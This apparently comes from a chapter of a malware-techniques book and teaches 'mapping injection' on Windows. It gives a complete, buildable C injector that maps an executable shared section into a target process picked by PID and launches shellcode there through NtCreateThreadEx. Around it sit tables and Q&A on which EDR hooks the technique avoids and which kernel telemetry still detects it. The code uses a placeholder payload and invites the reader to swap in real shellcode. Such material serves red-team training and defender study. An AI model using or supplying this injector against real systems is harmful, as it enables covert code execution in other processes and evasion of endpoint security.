Mapping Injection (NtCreateSection + NtMapViewOfSection)
Chapters 24 and 25 used VirtualAllocEx — a function monitored by every modern EDR because it explicitly allocates memory in another process. Mapping injection avoids VirtualAllocEx entirely. Instead, it creates a shared section object — a kernel object that represents a chunk of memory — and maps views of that section into both the injector process and the target process. From the kernel's perspective, both processes are sharing the same physical memory pages. Writing shellcode into the injector's view makes it immediately visible in the target's view. No WriteProcessMemory needed. Then a thread starts in the target pointing at the mapped view. This chapter builds the complete NtCreateSection + NtMapViewOfSection injection chain from native API calls, explains why it generates fewer API-monitoring hits, and shows why it still doesn't evade kernel-level ETW telemetry.
Section Objects — Shared Memory at the Kernel Level
Without section objects (VirtualAllocEx model):
──────────────────────────────────────────────────────────────────────────
Injector process VA space Target process VA space
───────────────────────── ────────────────────────
[injector's data] [target's data]
[injector's code] copy → [shellcode at 0x248ABCD0]
(WriteProcessMemory crosses process boundary)
With section objects (NtMapViewOfSection model):
──────────────────────────────────────────────────────────────────────────
Injector process VA space Physical Memory Target process VA space
───────────────────────── ───────────────── ────────────────────────
[injector's data] [physical page A] [target's data]
[local_view at 0x1000] ──────────► [SECTION OBJECT] ◄─────── [remote_view at 0x248ABCD0]
Write to local_view at 0x1000 → physical page A is modified
Read from remote_view at 0x248ABCD0 → same physical page A
No data ever crosses the process boundary — they share the SAME physical pages.
No VirtualAllocEx, no WriteProcessMemory.
Section object properties:
- Created with NtCreateSection()
- Has its own handle in each process that maps it
- Can be named (accessible by name from any process) or anonymous
- Protection: set at map time (SEC_COMMIT flags)
- The SAME physical memory is in two VA spaces simultaneously
- Changes in one view are instantly visible in the otherNative API Functions — Bypassing Win32 Layer
/* mapping_inject.c — Section-based shellcode injection
Uses native NT APIs directly (ntdll.dll) to avoid
kernel32 wrappers that EDRs commonly hook.
Native APIs are the functions ntdll exports with Nt/Zw prefix.
They're one layer below the Win32 API (CreateFile → NtCreateFile, etc.)
Build:
x86_64-w64-mingw32-gcc -O2 -o mapping_inject.exe mapping_inject.c
*/
#include <windows.h>
#include <stdio.h>
/* ── NT type definitions ─────────────────────────────────────────────── */
typedef LONG NTSTATUS;
#define NT_SUCCESS(s) ((NTSTATUS)(s) >= 0)
#define STATUS_SUCCESS 0
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
UNICODE_STRING *ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES;
#define InitializeObjectAttributes(p, n, a, r, s) \
do { (p)->Length = sizeof(OBJECT_ATTRIBUTES); \
(p)->RootDirectory = (r); \
(p)->Attributes = (a); \
(p)->ObjectName = (n); \
(p)->SecurityDescriptor = (s); \
(p)->SecurityQualityOfService = NULL; } while (0)
/* View sharing enum */
typedef enum _SECTION_INHERIT {
ViewShare = 1,
ViewUnmap = 2
} SECTION_INHERIT;
/* ── Function pointers for native APIs ─────────────────────────────── */
typedef NTSTATUS (NTAPI *pNtCreateSection)(
PHANDLE SectionHandle,
ACCESS_MASK DesiredAccess,
OBJECT_ATTRIBUTES *ObjectAttributes,
PLARGE_INTEGER MaximumSize,
ULONG SectionPageProtection,
ULONG AllocationAttributes,
HANDLE FileHandle
);
typedef NTSTATUS (NTAPI *pNtMapViewOfSection)(
HANDLE SectionHandle,
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG_PTR ZeroBits,
SIZE_T CommitSize,
PLARGE_INTEGER SectionOffset,
PSIZE_T ViewSize,
SECTION_INHERIT InheritDisposition,
ULONG AllocationType,
ULONG Win32Protect
);
typedef NTSTATUS (NTAPI *pNtUnmapViewOfSection)(
HANDLE ProcessHandle,
PVOID BaseAddress
);
typedef NTSTATUS (NTAPI *pNtCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
OBJECT_ATTRIBUTES *ObjectAttributes,
HANDLE ProcessHandle,
PVOID StartRoutine,
PVOID Argument,
ULONG CreateFlags,
ULONG_PTR ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
PVOID AttributeList
);
/* ── Resolve all native API function pointers ────────────────────────── */
typedef struct {
pNtCreateSection NtCreateSection;
pNtMapViewOfSection NtMapViewOfSection;
pNtUnmapViewOfSection NtUnmapViewOfSection;
pNtCreateThreadEx NtCreateThreadEx;
} NtApis;
static NtApis load_ntdll_apis(void) {
NtApis apis = { 0 };
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
if (!hNtdll) { fprintf(stderr, "ntdll not found\n"); return apis; }
apis.NtCreateSection = (pNtCreateSection) GetProcAddress(hNtdll, "NtCreateSection");
apis.NtMapViewOfSection = (pNtMapViewOfSection) GetProcAddress(hNtdll, "NtMapViewOfSection");
apis.NtUnmapViewOfSection = (pNtUnmapViewOfSection)GetProcAddress(hNtdll, "NtUnmapViewOfSection");
apis.NtCreateThreadEx = (pNtCreateThreadEx) GetProcAddress(hNtdll, "NtCreateThreadEx");
return apis;
}
/* ── Shellcode placeholder ───────────────────────────────────────────── */
static unsigned char sc[] = {
0x90, 0x90, 0x90, 0xC3 /* NOP NOP NOP RET — replace with real shellcode */
};
static SIZE_T sc_len = sizeof(sc);
/* ── Core mapping injection ──────────────────────────────────────────── */
static BOOL map_inject(NtApis *apis, HANDLE hTarget) {
NTSTATUS status;
HANDLE hSection = NULL;
OBJECT_ATTRIBUTES oa;
InitializeObjectAttributes(&oa, NULL, 0, NULL, NULL);
/* Step 1: Create a section object of appropriate size
PAGE_EXECUTE_READWRITE: section pages will be RWX
SEC_COMMIT: commit physical backing immediately (like MEM_COMMIT)
Note: NtCreateSection doesn't cross the process boundary.
The section object lives in the kernel — not in any process.
*/
LARGE_INTEGER sz;
sz.QuadPart = (LONGLONG)sc_len;
status = apis->NtCreateSection(
&hSection,
SECTION_ALL_ACCESS,
&oa,
&sz,
PAGE_EXECUTE_READWRITE, /* page protection for mapped views */
SEC_COMMIT, /* commit physical memory immediately */
NULL /* no backing file — anonymous section */
);
if (!NT_SUCCESS(status)) {
printf("[-] NtCreateSection: 0x%08lX\n", status);
return FALSE;
}
printf("[+] Section created: %p\n", hSection);
/* Step 2: Map a VIEW into the INJECTOR process (for writing) */
PVOID local_view = NULL;
SIZE_T view_size = 0;
status = apis->NtMapViewOfSection(
hSection,
GetCurrentProcess(), /* map into OUR process */
&local_view, /* OS picks the address */
0, /* ZeroBits */
0, /* CommitSize */
NULL, /* SectionOffset */
&view_size,
ViewShare,
0, /* AllocationType */
PAGE_READWRITE /* protection for our local view (no exec needed) */
);
if (!NT_SUCCESS(status)) {
printf("[-] NtMapViewOfSection (local): 0x%08lX\n", status);
CloseHandle(hSection);
return FALSE;
}
printf("[+] Local view mapped at %p (size: %zu)\n", local_view, view_size);
/* Step 3: Map a VIEW into the TARGET process (for execution) */
PVOID remote_view = NULL;
view_size = 0;
status = apis->NtMapViewOfSection(
hSection,
hTarget, /* map into TARGET process */
&remote_view, /* OS picks address in target's VA space */
0, 0, NULL, &view_size,
ViewShare,
0,
PAGE_EXECUTE_READ /* target view is execute-read (not writable) */
);
if (!NT_SUCCESS(status)) {
printf("[-] NtMapViewOfSection (remote): 0x%08lX\n", status);
apis->NtUnmapViewOfSection(GetCurrentProcess(), local_view);
CloseHandle(hSection);
return FALSE;
}
printf("[+] Remote view mapped at %p in target\n", remote_view);
/* Step 4: Write shellcode into LOCAL view
Writing to local_view modifies the shared physical pages.
The changes appear instantly at remote_view in the target process.
NO WriteProcessMemory call — this is the key stealth improvement.
*/
memcpy(local_view, sc, sc_len);
printf("[+] Shellcode written via local view (no WriteProcessMemory)\n");
/* Unmap our local view — no longer needed after write */
apis->NtUnmapViewOfSection(GetCurrentProcess(), local_view);
/* Step 5: Create a thread in the target at remote_view address
Using NtCreateThreadEx instead of CreateRemoteThread:
- More primitive API (fewer hooks in some EDRs)
- Same functionality: creates a thread in the target
- CreateFlags=4 (THREAD_CREATE_FLAGS_CREATE_SUSPENDED): optional
suspended creation for pre-execution modification
*/
HANDLE hThread = NULL;
status = apis->NtCreateThreadEx(
&hThread,
THREAD_ALL_ACCESS,
NULL,
hTarget,
remote_view, /* start address in the target — our shellcode */
NULL, /* argument (NULL for most shellcodes) */
0, /* CREATE_FLAGS: 0 = run immediately */
0, 0, 0, NULL
);
if (!NT_SUCCESS(status)) {
printf("[-] NtCreateThreadEx: 0x%08lX\n", status);
apis->NtUnmapViewOfSection(hTarget, remote_view);
CloseHandle(hSection);
return FALSE;
}
printf("[+] Thread created in target at %p\n", remote_view);
WaitForSingleObject(hThread, 5000);
CloseHandle(hThread);
CloseHandle(hSection);
/* remote_view stays mapped — it's where the shellcode lives */
return TRUE;
}
int main(int argc, char *argv[]) {
if (argc < 2) { printf("Usage: %s [PID]\n", argv[0]); return 1; }
DWORD pid = (DWORD)atol(argv[1]);
NtApis apis = load_ntdll_apis();
if (!apis.NtCreateSection) {
printf("[-] Failed to resolve NT APIs\n");
return 1;
}
HANDLE hTarget = OpenProcess(
PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION,
FALSE, pid);
if (!hTarget) {
printf("[-] OpenProcess(%lu): %lu\n", pid, GetLastError());
return 1;
}
BOOL result = map_inject(&apis, hTarget);
CloseHandle(hTarget);
return result ? 0 : 1;
}
API Comparison — What the EDR Sees
Classic shellcode injection (Ch25) │ Mapping injection (Ch26)
══════════════════════════════════ │ ══════════════════════════════
OpenProcess(PROCESS_VM_WRITE|...) │ OpenProcess(PROCESS_VM_OPERATION|...)
VirtualAllocEx(PAGE_READWRITE) │ NtCreateSection(PAGE_EXECUTE_READWRITE)
WriteProcessMemory(shellcode) │ NtMapViewOfSection(local → RW)
VirtualProtectEx(PAGE_EXECUTE_READ) │ NtMapViewOfSection(target → RX)
CreateRemoteThread(shellcode_addr) │ memcpy(local_view, shellcode) [local]
│ NtCreateThreadEx(remote_view)
EDR hook coverage comparison:
──────────────────────────────────────────────────────────────────────
Win32 layer hooks (kernel32.dll):
VirtualAllocEx ← hooked in Ch25 NtMapViewOfSection: ntdll only, not kernel32
WriteProcessMemory ← hooked memcpy: local, unhooked
CreateRemoteThread ← hooked NtCreateThreadEx: ntdll only, less-hooked
Ntdll-level hooks:
Many EDRs also hook ntdll:
NtAllocateVirtualMemory (= VirtualAllocEx) ← hooked
NtWriteVirtualMemory (= WriteProcessMemory) ← hooked
NtCreateThreadEx ← sometimes hooked
NtCreateSection ← less commonly hooked
NtMapViewOfSection ← less commonly hooked
Key insight: Mapping injection reduces the number of cross-process
operations that create hooked API call sequences.
The shellcode write (memcpy to local_view) is a local operation —
it CANNOT be intercepted by user-mode EDR hooks because it never
makes a syscall to another process.
What STILL generates telemetry:
- OpenProcess: always logged (kernel callback)
- NtCreateSection with SEC_COMMIT and PAGE_EXECUTE_*: logged
- NtCreateThreadEx in another process: logged
- ETW_TI (Windows Threat Intelligence ETW provider): watches ALL
process injection patterns at kernel level, including section mapping
This is what Microsoft Defender uses internally.Questions & Answers
Why does mapping injection avoid WriteProcessMemory but not all cross-process operations?
Mapping injection doesn't eliminate the need to touch the target process — it just changes which operations touch it. You still call OpenProcess to get a handle, NtMapViewOfSection to map the section into the target, and NtCreateThreadEx to start a thread there. What's avoided is WriteProcessMemory specifically. The reason this matters: WriteProcessMemory is one of the most heavily monitored APIs by EDRs and has dedicated Sysmon event coverage (EventID 10 ProcessAccess with VM_WRITE access right). Replacing it with a section mapping write (which appears as a local memcpy in the injector process) reduces the cross-process API surface. The trade-off is that NtCreateSection with PAGE_EXECUTE permissions is increasingly monitored by modern EDRs, partly because this technique became widely documented around 2019–2020.
What is ETW-TI and why does it defeat usermode injection bypasses?
ETW-TI (Event Tracing for Windows — Threat Intelligence) is a kernel-level telemetry provider (provider GUID: f4e1897c-bb5d-5668-f1d8-040f4d8dd344) that Windows 10/11 exposes to security products with a PPL license (Protected Process Light). It hooks kernel functions directly, below any user-mode code. Functions like NtAllocateVirtualMemory, NtMapViewOfSection, NtCreateThreadEx all generate ETW-TI events at the kernel level. User-mode hooking bypasses (direct syscalls, heaven's gate, unhooking ntdll) cannot avoid ETW-TI because it runs in the kernel. This is why techniques like direct syscalls bypass user-mode EDR hooks but don't evade Microsoft Defender — Defender uses ETW-TI for telemetry, not ntdll hooks. Truly evading modern kernel-level telemetry requires a kernel driver with the right signing.
What's the difference between SEC_COMMIT and SEC_RESERVE in NtCreateSection?
These flags mirror the MEM_COMMIT and MEM_RESERVE flags in VirtualAlloc. SEC_RESERVE creates a section object that reserves address space in both processes when mapped, but doesn't commit physical memory yet. Accessing a page in a SEC_RESERVE section generates a page fault that must be handled (or it crashes). SEC_COMMIT pre-commits physical memory backing when the section is created — pages are immediately accessible without a page fault. For injection, SEC_COMMIT is correct because you need to write shellcode to the section immediately after mapping. SEC_IMAGE is a third option (used in Doppelgänging and Ghosting — Chapters 34-35) which maps a file as if it were an executable image, using the PE loader's section mapping logic.